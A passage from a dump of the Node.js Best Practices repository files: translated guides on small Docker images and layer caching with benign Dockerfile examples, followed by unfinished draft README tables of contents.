    "content": "\nLarge Docker images can lead to higher exposure to vulnerabilities and increased resource consumption. Often you don't need certain packages installed at runtime that are needed for building.\nPulling and storing larger images will become more expensive at scale, when dealing with larger images. By design minimal images may not come with common libraries needed for building native modules or packages useful for debugging (e.g. curl) pre-installed.\nUsing the Alpine Linux variants of images can lead to a reduced footprint in terms of resources used and the amount of attack vectors present in fully-featured systems. The Node.js v14.4.0 Docker image is ~345MB in size versus ~39MB for the Alpine version, which is almost 10x smaller.\nA Slim variant based on Debian, which is only 38MB in size and contains the minimal packages needed to run Node.js, is also a great choice.\n\n### Blog Quote: \"If you want to shrink your Docker images, have your services start faster and be more secure then try Alpine out.\"\n\nFrom [Nick Janetakis' blog](https://nickjanetakis.com/blog/the-3-biggest-wins-when-using-alpine-as-a-base-docker-image)\n\n> It’s no secret by now that Docker is heavily using Alpine as a base image for official Docker images. This movement started near the beginning of 2016. [...]\n  When pulling down new Docker images onto a fresh server, you can expect the initial pull to be quite a bit faster on Alpine. The slower your network is, the bigger the difference it will be. [...] Another perk of being much smaller in size is that the surface area to be attacked is much less. When there’s not a lot of packages and libraries on your system, there’s very little that can go wrong.\n"
  },
  {
    "path": "sections/docker/use-cache-for-shorter-build-time.basque.md",
    "content": "# Baliatu cachea konpilazio denborak murrizteko\n\n## Azalpena\n\nDocker irudiak geruzen konbinazioak dira. Izan ere, zure Dockerfile fitxategiko agindu bakoitzak geruza bat sortzen du. Dockeren daemonak konpilazioen arteko geruza horiek erabil ditzake, aginduak berdinak badira edo `COPY` edo `ADD` fitxategiak berdinak badira. ⚠️ Cachea ezin bada geruza jakin batean erabili, ondorengo geruza guztiak ere ezgaituak izango dira. Horrexegatik, ordena garrantzitsua da. Zure Dockerfile fitxategia zuzen diseinatzea ezinbestekoa da, zure konpilazioan atal mugikorren kopurua murrizteko; gutxien eguneratzen diren aginduak goialdean egon beharko lirateke, eta etengabe aldatzen ari diren aginduak (aplikazioaren kodea, esaterako), berriz, behe aldean.\nBaita ere, garrantzitsua da jakitea operazio luzeak abiarazten dituzten aginduek puntu gorenaren inguruan egon beharko luketeela, horrela bermatuko delako bakarrik beharrezkoak direnean gertatzea (docker irudia eraikitzen duzun bakoitzean aldatzen ez badira behintzat). Cachetik Docker irudi bat berreraikitzea ia-ia berehalakoa izan daiteke era egokian eginez gero.\n\n![Dockeren geruzak](../../assets/images/docker_layers_schema.png)\n\n- [Digging into Docker layers](https://medium.com/@jessgreb01/digging-into-docker-layers-c22f948ed612)-etik hartutako irudia, jessgreb01-i esker\\*\n\n### Arauak\n\n#### Ekidin une oro aldatzen den Avoid LABEL (etiketa)\n\nZure Dockerfile fitxategiaren hasieran konpilazio zenbakia duen etiketaren bat badaukazu, cachea baliogabetua izango da konpilazio bakoitzean\n\n```Dockerfile\n#Fitxategiaren hasiea\nFROM node:10.22.0-alpine3.11 as builder\n\n# Ez egin hau hemen!\nLABEL build_number=\"483\"\n\n#... Dockerfile fitxategiaren gainontzeko guztia\n```\n\n#### Eduki .dockerignore fitxategi egokia\n\n[**Begiratu: docker ignoreren garrantzia**](./docker-ignore.basque.md)\n\nCachearen logika hondatu dezaketen fitxategien kopia ekiditen dute Docker ignorek, adibidez proben emaitzen txostenak, erregistroak edota aldi baterako fitxategiak.\n\n#### Instalatu lehenik \"sistemaren\" paketeak\n\nGomendagarria da erabiltzen dituzun sistema pakete guztiak dituen docker irudi base bat sortzea. **Benetan** `apt`,`yum`,`apk` edo antzerako komandoak erabiliz paketeak instalatzeko beharra baduzu, horiek izan beharko lirateke zure lehenengo aginduak. Ez duzu make, gcc edo g ++ berriro instalatu nahi izango zure node aplikazioa konpilatzen duzun bakoitzean. **Ez instalatu paketea erosoa delako soilik, ekoizpen aplikazio bat da.**\n\n#### Lehendabizi,  GEHITU soilik zure package.json eta lockfile\n\n```Dockerfile\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\n```\n\nlockfile eta package.json gutxiagotan aldatzen dira. Beraiek lehendabizi kopiatzeak `npm install` etapa cachean utziko du, horrek denbora baliotsua aurrezten du.\n\n### Ondoren kopiatu zure fitxategiak eta exekutatu konpilazio etapa (beharrezkoa bada)\n\n```Dockerfile\nCOPY . .\nRUN npm run build\n```\n\n## Adibideak\n\n### Onarrizko adibidea sistema eragileko menpekotasunak behar dituzten node_modulesekin\n\n```Dockerfile\n#Sortu node irudi bertsioaren ezizena\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci --production\nCOPY . \"./\"\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\nCOPY --from=builder /app/ \"./\"\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n### Konpilazio etaparen adibidea (esaterako typescript erabiltzerakoan)\n\n```Dockerfile\n#Sortu node irudi bertsioaren ezizena\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\nCOPY . .\nRUN npm run build\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\n# Behar ditugun fitxategiak bakarrik kopiatu\nCOPY --from=builder /app/node_modules node_modules\nCOPY --from=builder /app/package.json .\nCOPY --from=builder /app/dist dist\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n## Esteka erabilgarriak\n\nDockeren dokumentazioa: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#leverage-build-cache\n"
  },
  {
    "path": "sections/docker/use-cache-for-shorter-build-time.french.md",
    "content": "# Leverage caching to reduce build times\n\n## One paragraph explainer\n\nDocker images are a combination of layers, each instruction in your Dockerfile creates a layer. The docker daemon can reuse those layers between builds if the instructions are identical or in the case of a `COPY` or `ADD` files used are identical. ⚠️ If the cache can't be used for a particular layer all the subsequent layers will be invalidated too. That's why order is important. It is crucial to layout your Dockerfile correctly to reduce the number of moving parts in your build; the less updated instructions should be at the top and the ones constantly changing (like app code) should be at the bottom. It's also important to think that instructions that trigger long operation should be close to the top to ensure they happen only when really necessary (unless it changes every time you build your docker image). Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly.\n\n![Docker layers](../../assets/images/docker_layers_schema.png)\n\n* Image taken from [Digging into Docker layers](https://medium.com/@jessgreb01/digging-into-docker-layers-c22f948ed612) by jessgreb01*\n\n### Rules\n\n#### Avoid LABEL that change all the time \n\nIf you have a label containing the build number at the top of your Dockerfile, the cache will be invalidated at every build \n\n```Dockerfile\n#Beginning of the file\nFROM node:10.22.0-alpine3.11 as builder\n\n# Don't do that here!\nLABEL build_number=\"483\"\n\n#... Rest of the Dockerfile\n```\n\n#### Have a good .dockerignore file\n\n[**See: On the importance of docker ignore**](./docker-ignore.md)\n\nThe docker ignore avoids copying files that could bust our cache logic, like tests results reports, logs or temporary files.\n\n#### Install \"system\" packages first\n\nIt is recommended to create a base docker image that has all the system packages you use. If you **really** need to install packages using `apt`,`yum`,`apk` or the likes, this should be one of the first instructions. You don't want to reinstall make,gcc or g++ every time you build your node app.\n**Do not install package only for convenience, this is a production app.**\n\n#### First, only ADD your package.json and your lockfile\n\n```Dockerfile\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\n```\n\nThe lockfile and the package.json change less often. Copying them first will keep the `npm install` step in the cache, this saves precious time. \n\n### Then copy your files and run build step (if needed) \n\n```Dockerfile\nCOPY . .\nRUN npm run build\n```\n\n## Examples\n\n### Basic Example with node_modules needing OS dependencies\n```Dockerfile\n#Create node image version alias\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci --production\nCOPY . \"./\"\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\nCOPY --from=builder /app/ \"./\"\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n\n### Example with a build step (when using typescript for example)\n```Dockerfile\n#Create node image version alias\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\nCOPY . .\nRUN npm run build\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\n# Only copying the files that we need\nCOPY --from=builder /app/node_modules node_modules\nCOPY --from=builder /app/package.json .\nCOPY --from=builder /app/dist dist\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n## Useful links\n\nDocker docs: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#leverage-build-cache"
  },
  {
    "path": "sections/docker/use-cache-for-shorter-build-time.japanese.md",
    "content": "# キャッシュを活用してビルド時間を短縮する\n\n## 一段落説明\n\nDocker イメージはレイヤーの組み合わせであり、Dockerfile 内の各指示はそれぞれレイヤーを作成します。もし指示が同じであるか、`COPY` や `ADD` の利用が同じであれば、docker デーモンはビルド間でそれらのレイヤーを再利用することができます。⚠️ キャッシュが特定のレイヤーで利用できなかった場合は、それ以降のすべてのレイヤーも無効になります。そのため、順番が重要なのです。Dockerfile を正しくレイアウトすることは、ビルドにおいて可変となっている部分の数を減らすために非常に重要です; あまり更新されない処理は Dockerfile の上の方に記述し、更新が多い処理（アプリケーションのコードなど）は下の方に記述するべきです。また、時間のかかるオペレーションをトリガーする指示は、（docker イメージをビルドするたびに変更されない限り）本当に必要なときにのみ実行されるように、上部に近い位置に配置するべきです。正しく行えば、ほぼ瞬時にキャッシュから Docker イメージ全体をリビルドすることができます。\n\n![Docker layers](../../assets/images/docker_layers_schema.png)\n\n* jessgreb01 による [Digging into Docker layers](https://medium.com/@jessgreb01/digging-into-docker-layers-c22f948ed612) から画像引用*\n\n### ルール\n\n#### 毎回変わるラベルの使用を避ける\n\nもし Dockerfile の上部にビルド番号を含むラベルを記述している場合、毎回のビルドでキャッシュが無効化されてしまいます。\n\n```Dockerfile\n# ファイルの先頭\nFROM node:10.22.0-alpine3.11 as builder\n\n# ここでラベルの指定をしないでください！\nLABEL build_number=\"483\"\n\n#... Dockerfile の残りの部分がここにきます\n```\n\n#### 良い .dockerignore ファイルを持つ\n\n[**参照: docker ignore の重要性について**](./docker-ignore.md)\n\ndocker ignore ファイルは、テスト結果レポートやログ、一時ファイルなど、キャッシュのロジックを壊す可能性のあるファイルのコピーを回避します。\n\n#### 「system」パッケージを最初にインストールする\n\n使用するすべてのシステムパッケージが入ったベース Docker イメージを作成することをおすすめします。もし`apt` や `yum`、`apk` などを利用してパッケージインストールする必要が **本当に** あるのであれば、最初の指示にすべきです。Node アプリケーションをビルドするのに毎回 make や gcc、g++ を再インストールしたくはないでしょう。\n**プロダクションアプリケーションなので、便宜のためだけにパッケージをインストールしてはいけません。**\n\n#### まず最初に、package.json と lockfile を追加するだけにする\n\n```Dockerfile\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\n```\n\nlockfile と package.json はあまり頻繁に変更されません。それらを最初にコピーしておくことで、`npm install` ステップをキャッシュすることができ、貴重な時間を節約できます。\n\n### その後、ファイルをコピーしてビルドステップを実行する（必要なら）\n\n```Dockerfile\nCOPY . .\nRUN npm run build\n```\n\n## 例\n\n### OS 依存関係を必要とする node_modules の基本的な例\n\n```Dockerfile\n# node イメージバージョンのエイリアスを作成する\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci --production\nCOPY . \"./\"\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\nCOPY --from=builder /app/ \"./\"\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n\n### ビルドステップの例（例えば、typescript を利用する場合）\n\n```Dockerfile\n# node イメージバージョンのエイリアスを作成する\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\nCOPY . .\nRUN npm run build\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\n# 必要なファイルのみをコピーする\nCOPY --from=builder /app/node_modules node_modules\nCOPY --from=builder /app/package.json .\nCOPY --from=builder /app/dist dist\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n## 便利なリンク\n\nDocker ドキュメント: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#leverage-build-cache\n"
  },
  {
    "path": "sections/docker/use-cache-for-shorter-build-time.md",
    "content": "# Leverage caching to reduce build times\n\n## One paragraph explainer\n\nDocker images are a combination of layers, each instruction in your Dockerfile creates a layer. The docker daemon can reuse those layers between builds if the instructions are identical or in the case of a `COPY` or `ADD` files used are identical. ⚠️ If the cache can't be used for a particular layer all the subsequent layers will be invalidated too. That's why order is important. It is crucial to layout your Dockerfile correctly to reduce the number of moving parts in your build; the less updated instructions should be at the top and the ones constantly changing (like app code) should be at the bottom. It's also important to think that instructions that trigger long operation should be close to the top to ensure they happen only when really necessary (unless it changes every time you build your docker image). Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly.\n\n![Docker layers](../../assets/images/docker_layers_schema.png)\n\n* Image taken from [Digging into Docker layers](https://medium.com/@jessgreb01/digging-into-docker-layers-c22f948ed612) by jessgreb01*\n\n### Rules\n\n#### Avoid LABEL that change all the time \n\nIf you have a label containing the build number at the top of your Dockerfile, the cache will be invalidated at every build \n\n```Dockerfile\n#Beginning of the file\nFROM node:10.22.0-alpine3.11 as builder\n\n# Don't do that here!\nLABEL build_number=\"483\"\n\n#... Rest of the Dockerfile\n```\n\n#### Have a good .dockerignore file\n\n[**See: On the importance of docker ignore**](./docker-ignore.md)\n\nThe docker ignore avoids copying files that could bust our cache logic, like tests results reports, logs or temporary files.\n\n#### Install \"system\" packages first\n\nIt is recommended to create a base docker image that has all the system packages you use. If you **really** need to install packages using `apt`,`yum`,`apk` or the likes, this should be one of the first instructions. You don't want to reinstall make,gcc or g++ every time you build your node app.\n**Do not install package only for convenience, this is a production app.**\n\n#### First, only ADD your package.json and your lockfile\n\n```Dockerfile\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\n```\n\nThe lockfile and the package.json change less often. Copying them first will keep the `npm install` step in the cache, this saves precious time. \n\n### Then copy your files and run build step (if needed) \n\n```Dockerfile\nCOPY . .\nRUN npm run build\n```\n\n## Examples\n\n### Basic Example with node_modules needing OS dependencies\n```Dockerfile\n#Create node image version alias\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci --production\nCOPY . \"./\"\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\nCOPY --from=builder /app/ \"./\"\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n\n### Example with a build step (when using typescript for example)\n```Dockerfile\n#Create node image version alias\nFROM node:10.22.0-alpine3.11 as builder\n\nRUN apk add --no-cache \\\n    build-base \\\n    gcc \\\n    g++ \\\n    make\n\nUSER node\nWORKDIR /app\nCOPY \"package.json\" \"package-lock.json\" \"./\"\nRUN npm ci\nCOPY . .\nRUN npm run build\n\n\nFROM node as app\n\nUSER node\nWORKDIR /app\n# Only copying the files that we need\nCOPY --from=builder /app/node_modules node_modules\nCOPY --from=builder /app/package.json .\nCOPY --from=builder /app/dist dist\nRUN npm prune --production\n\nCMD [\"node\", \"dist/server.js\"]\n```\n\n## Useful links\n\nDocker docs: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#leverage-build-cache\n"
  },
  {
    "path": "sections/drafts/readme-general-toc-1.md",
    "content": "<!--- # Node.js Best Practices -->\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-2.jpg) -->\r\n<h1 align=\"center\">\r\n  <img src=\"../../assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\" />\r\n</h1>\r\n\r\n<img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2053%20Best%20practices-blue.svg\" alt=\"53 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%206%20days%20ago-green.svg\" alt=\"Last update: 7 days ago\"/> <img src=\"https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.4-brightgreen.svg\" alt=\"Updated for Node v.8.4\"/>\r\n\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-1.png) -->\r\n\r\n# Welcome to Node.js Best Practices\r\n\r\nWelcome to the biggest compilation of Node.js best practices. The content below was gathered from all top ranked books and posts and is updated constantly - when you read here rest assure that no significant tip slipped away. Feel at home - we love to discuss via PRs, issues or Gitter.\r\n\r\n## Table of Contents\r\n\r\n* [Project Setup Practices (18)](#project-setup-practices)\r\n* [Code Style Practices (11)](#code-style-practices)\r\n* [Error Handling Practices (14)](#error-handling-practices)\r\n* [Going To Production Practices (21)](#going-to-production-practices)\r\n* [Testing Practices (9)](#deployment-practices)\r\n* [Security Practices (8)](#security-practices)\r\n\r\n\r\n<br/><br/>\r\n# `Project Setup Practices`\r\n\r\n## ✔ 1. Structure your solution by feature ('microservices')\r\n\r\n**TL&DR:** The worst large applications pitfal is a huge code base with hundreds of dependencies that slow down they developers as they try to incorporate new features. Partioning into small units ensures that each unit is kept simple and  easy to maintain. This strategy pushes the complexity to the higher level - designing the cross-component interactions.\r\n\r\n**Otherwise:** Developing a new feature with a change to few objects demands to evaluate how this changes might affect dozends of dependants and ach deployment becomes a fear.\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ✔ 2. Layer your app, keep Express within its boundaries\r\n\r\n**TL&DR:** It's very common to see Express API passes the express objects (req, res) to business logic and data layers, sometimes even to every function - this makes your application depedant on and accessible by Express only. What if your code should be reached by testing console or CRON job? instead create your own context object with cross-cutting-concern properties like the user roles and inject into other layers, or use 'thread-level variables' libraries like continuation local storage\r\n\r\n**Otherwise:** Application can be accessed by Express only and require to create complex testing mocks\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ✔ 3. Configure ESLint with node-specific plugins\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n<br/><br/><br/>\r\n\r\n# `Code Style Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n\r\n# `Error Handling Practices`\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\r\n\r\n## ✔ Use async-await for async error handling\r\n\r\n* **TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using instead a reputable promise library or async-await which provides much compact and familiar code syntax like try-catch\r\n\r\n* **Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting and awkward coding patterns\r\n\r\n🔗 [**Use async-await for async error handling**](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/><br/>\r\n\r\n# `Going To Production Practices`\r\n\r\n<br/><br/><br/>\r\n\r\n# `Deployment Practices`\r\n\r\n<br/><br/><br/>\r\n\r\n# `Security Practices`\r\n"
  },
  {
    "path": "sections/drafts/readme-general-toc-2.md",
    "content": "# Node.js Best Practices\r\n\r\n<img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2053%20Best%20practices-blue.svg\" alt=\"53 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%206%20days%20ago-green.svg\" alt=\"Last update: 7 days ago\"/> <img src=\"https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.4-brightgreen.svg\" alt=\"Updated for Node v.8.4\"/>\r\n\r\n![Node.js Best Practices](../../assets/images/banner-1.png)\r\n\r\n# Welcome to Node.js Best Practices\r\n\r\nWelcome to the biggest compilation of Node.js best practices. The content below was gathered from all top ranked books and posts and is updated constantly - when you read here rest assure that no significant tip slipped away. Feel at home - we love to discuss via PRs, issues or Gitter.\r\n\r\n## Table of Contents\r\n* [Project Setup Practices (18)](#project-setup-practices)\r\n* [Code Style Practices (11) ](#code-style-practices)\r\n* [Error Handling Practices (14) ](#error-handling-practices)\r\n* [Going To Production Practices (21) ](#going-to-production-practices)\r\n* [Testing Practices (9) ](#deployment-practices)\r\n* [Security Practices (8) ](#security-practices)\r\n\r\n<br/><br/>\r\n# `Project Setup Practices`\r\n\r\n## ✔ 1. Structure your solution by feature ('microservices')\r\n\r\n**TL&DR:** The worst large applications pitfal is a huge code base where hundreds of dependencies slow down developers as try to incorporate new features. Partioning into small units ensures that each unit is kept simple and very easy to maintain. This strategy pushes the complexity to the higher level - designing the cross-component interactions. \r\n\r\n**Otherwise:** Developing a new feature with a change to few objects demands to evaluate how this changes might affect dozends of dependants and ach deployment becomes a fear.\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/>\r\n\r\n## ✔ 2. Layer your app, keep Express within its boundaries\r\n\r\n**TL&DR:** It's very common to see Express API passes the express objects (req, res) to business logic and data layers, sometimes even to every function - this makes your application depedant on and accessible by Express only. What if your code should be reached by testing console or CRON job? instead create your own context object with cross-cutting-concern properties like the user roles and inject into other layers, or use 'thread-level variables' libraries like continuation local storage\r\n\r\n**Otherwise:** Application can be accessed by Express only and require to create complex testing mocks\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/>\r\n\r\n## ✔ 3. Configure ESLint with node-specific plugins\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n<br/><br/><br/>\r\n# `Code Style Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Error Handling Practices`\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\r\n\r\n## ✔ Use async-await for async error handling\r\n\r\n**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using instead a reputable promise library or async-await which provides much compact and familiar code syntax like try-catch\r\n\r\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting and awkward coding patterns\r\n\r\n🔗 [**Use async-await for async error handling**](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n\r\n<br/><br/><br/>\r\n# `Going To Production Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Deployment Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Security Practices`\r\n\r\n"
  },
  {
    "path": "sections/drafts/readme-general-toc-3.md",
    "content": "<!--- # Node.js Best Practices -->\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-2.jpg) -->\r\n<h1 align=\"center\">\r\n  <img src=\"../../assets/images/banner-3.jpg\" alt=\"Node.js Best Practices\" />\r\n</h1>\r\n\r\n<img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2053%20Best%20practices-blue.svg\" alt=\"53 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%206%20days%20ago-green.svg\" alt=\"Last update: 7 days ago\"/> <img src=\"https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.4-brightgreen.svg\" alt=\"Updated for Node v.8.4\"/>\r\n\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-1.png) -->\r\n\r\n# Welcome to Node.js Best Practices\r\n\r\nWelcome to the biggest compilation of Node.js best practices, based on our check it's also the largest collection on any programming language (more than 53 items). The content below was gathered from all top ranked books and posts and is updated constantly - if you read here you can rest assure that no significant tip slipped away. Feel at home - we love to discuss via PRs, issues or Gitter.\r\n<br/><br/>\r\n## Table of Contents\r\n* [Project Setup Practices (18)](#project-setup-practices)\r\n* [Code Style Practices (11) ](#code-style-practices)\r\n* [Error Handling Practices (14) ](#error-handling-practices)\r\n* [Going To Production Practices (21) ](#going-to-production-practices)\r\n* [Testing Practices (9) ](#deployment-practices)\r\n* [Security Practices (8) ](#security-practices)\r\n\r\n<br/><br/>\r\n# `Project Setup Practices`\r\n\r\n## ✔ 1. Structure your solution by feature ('microservices')\r\n\r\n**TL&DR:** The worst large applications pitfal is a huge code base where hundreds of dependencies slow down developers as try to incorporate new features. Partioning into small units ensures that each unit is kept simple and very easy to maintain. This strategy pushes the complexity to the higher level - designing the cross-component interactions. \r\n\r\n**Otherwise:** Developing a new feature with a change to few objects demands to evaluate how this changes might affect dozends of dependants and ach deployment becomes a fear.\r\n\r\n<br/><br/>\r\n\r\n## ✔ 2. Layer your app, keep Express within its boundaries\r\n\r\n**TL&DR:** It's very common to see Express API passes the express objects (req, res) to business logic and data layers, sometimes even to every function - this makes your application depedant on and accessible by Express only. What if your code should be reached by testing console or CRON job? instead create your own context object with cross-cutting-concern properties like the user roles and inject into other layers, or use 'thread-level variables' libraries like continuation local storage\r\n\r\n**Otherwise:** Application can be accessed by Express only and require to create complex testing mocks\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n<br/><br/>\r\n\r\n## ✔ 3. Configure ESLint with node-specific plugins\r\n\r\n**TL&DR:** Monitoring is a game of finding out issues before our customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my sug\r\n\r\n**Otherwise:** You end-up with a blackbox that is hard to reason about, then you start re-writing all logging statements to add additional information\r\n\r\n🔗 [**Read More: Structure by feature*](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n<br/><br/><br/>\r\n# `Code Style Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Error Handling Practices`\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\r\n\r\n## ✔ Use async-await for async error handling\r\n\r\n**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using instead a reputable promise library or async-await which provides much compact and familiar code syntax like try-catch\r\n\r\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting and awkward coding patterns\r\n\r\n🔗 [**Use async-await for async error handling**](../errorhandling/asyncerrorhandling.md)\r\n\r\n\r\n\r\n<br/><br/><br/>\r\n# `Going To Production Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Deployment Practices`\r\n\r\n\r\n<br/><br/><br/>\r\n# `Security Practices`\r\n\r\n"
  },
  {
    "path": "sections/drafts/readme-general-toc-4.md",
    "content": "<!--- # Node.js Best Practices -->\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-2.jpg) -->\r\n<h1 align=\"center\">\r\n  <img src=\"../../assets/images/banner-4.jpg\" alt=\"Node.js Best Practices\" />\r\n</h1>\r\n\r\n<img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2053%20Best%20practices-blue.svg\" alt=\"53 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%206%20days%20ago-green.svg\" alt=\"Last update: 7 days ago\"/> <img src=\"https://img.shields.io/badge/%E2%9C%94%20Updated%20For%20Version%20-%20Node%208.4-brightgreen.svg\" alt=\"Updated for Node v.8.4\"/>\r\n\r\n<!--- ![Node.js Best Practices](../../assets/images/banner-1.png) -->\r\n\r\n# Welcome to Node.js Best Practices\r\n\r\nWelcome to the biggest compilation of Node.js best practices, based on our check it's also the largest collection on any programming language (more than 53 items). The content below was gathered from all top ranked books and posts and is updated constantly - if you read here you can rest assure that no significant tip slipped away. Feel at home - we love to discuss via PRs, issues or Gitter.\r\n\r\n## Table of Contents\r\n* [Project Setup Practices (18)](#project-setup-practices)\r\n* [Code Style Practices (11) ](#code-style-practices)\r\n* [Error Handling Practices (14) ](#error-handling-practices)\r\n* [Going To Production Practices (21) ](#going-to-production-practices)\r\n* [Testing Practices (9) ](#deployment-practices)\r\n* [Security Practices (8) ](#security-practices)\r\n\r\n<br/><br/>\r\n# `Project Setup Practices`\r\n\r\n## ![](../../assets/images/checkbox-sm.png) 1. Structure your solution by feature ('microservices')\r\n\r\n**TL&DR:** The worst large applications pitfal is a huge code base where hundreds of dependencies slow down developers as try to incorporate new features. Partitioning into small units ensures that each unit is kept simple and very easy to maintain. This strategy pushes the complexity to the higher level - designing the cross-component interactions. \r\n\r\n**Otherwise:** Developing a new feature with a change to few objects demands to evaluate how this changes might affect dozends of dependants and ach deployment becomes a fear.\r\n\r\n🔗 [**Read More: Structure by 